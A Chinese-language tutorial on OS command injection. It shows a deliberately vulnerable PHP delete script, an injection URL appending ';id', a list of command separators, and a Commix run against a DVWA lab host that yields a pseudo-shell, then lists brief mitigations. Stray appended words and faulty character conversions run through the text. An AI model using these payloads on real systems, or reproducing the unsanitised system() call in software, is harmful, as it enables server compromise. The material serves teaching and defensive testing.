Command Injection,即命令注入,是指經過提交惡意構造的參數破壞命令語句結構,從而達到執行惡意命令的目的。php
如:delete.php文件內容ios
<?php $file=$_GET['filename']; system("rm $file"); ?>
請求以下url:
http://127.0.0.1/delete.php?filename=bob.txt;id(或者其餘命令)git
附: 經常使用命令執行符 : &&
,&
,||
,|
,;
github
返回結果:shell
Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data)
很容易能夠想到使用BurpSuite進行迭代測試。今天咱們不講BurpSuite,介紹另一個命令執行漏洞工具:Commix。數組
Commix是一個使用Python開發的漏洞測試工具,這個工具是爲了方便的檢測一個請求是否存在命令注入漏洞,而且對其進行測試,在其做者發佈的最新版本中支持直接直接導入burp的歷史記錄進行檢測,大大提升了易用性。cookie
下面給出一個拿shell的示例,DVWA版本v1.0.7:app
root@kali:~/Desktop/commix# ./commix.py --url="http://10.0.2.5/dvwa/vulnerabilities/exec/index.php" --data="ip=127.0.0.1&submit=submit" --cookie="security=medium;PHPSESSID=5dfc75a69587ea8030902ac2547c4bab" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ v2.9-dev#13 /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </ \ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ https://commixproject.com \/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject) +-- Automated All-in-One OS Command Injection and Exploitation Tool Copyright © 2014-2019 Anastasios Stasinopoulos (@ancst) +-- (!) Legal disclaimer: Usage of commix for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. [*] Checking connection to the target URL... [ SUCCEED ] [*] Setting the POST parameter 'ip' for tests. [*] Testing the (results-based) classic command injection technique... [ SUCCEED ] [+] The POST parameter 'ip' seems injectable via (results-based) classic command injection technique. [~] Payload: %26echo TDUYJF$((86+87))$(echo TDUYJF)TDUYJF [?] Do you want a Pseudo-Terminal shell? [Y/n] > Y Pseudo-Terminal (type '?' for available options) commix(os_shell) > id uid=33(www-data) gid=33(www-data) groups=33(www-data) commix(os_shell) > pwd /var/www/dvwa/vulnerabilities/exec
更多使用示例:https://github.com/commixproject/commix/wiki/Usage-Examples工具
一、過濾黑名單;
二、替換、轉義關鍵字;
三、對於IP地址,能夠以'.'爲分界,將全部數字拆分到數組,單個判斷是否爲數字is_numeric()。測試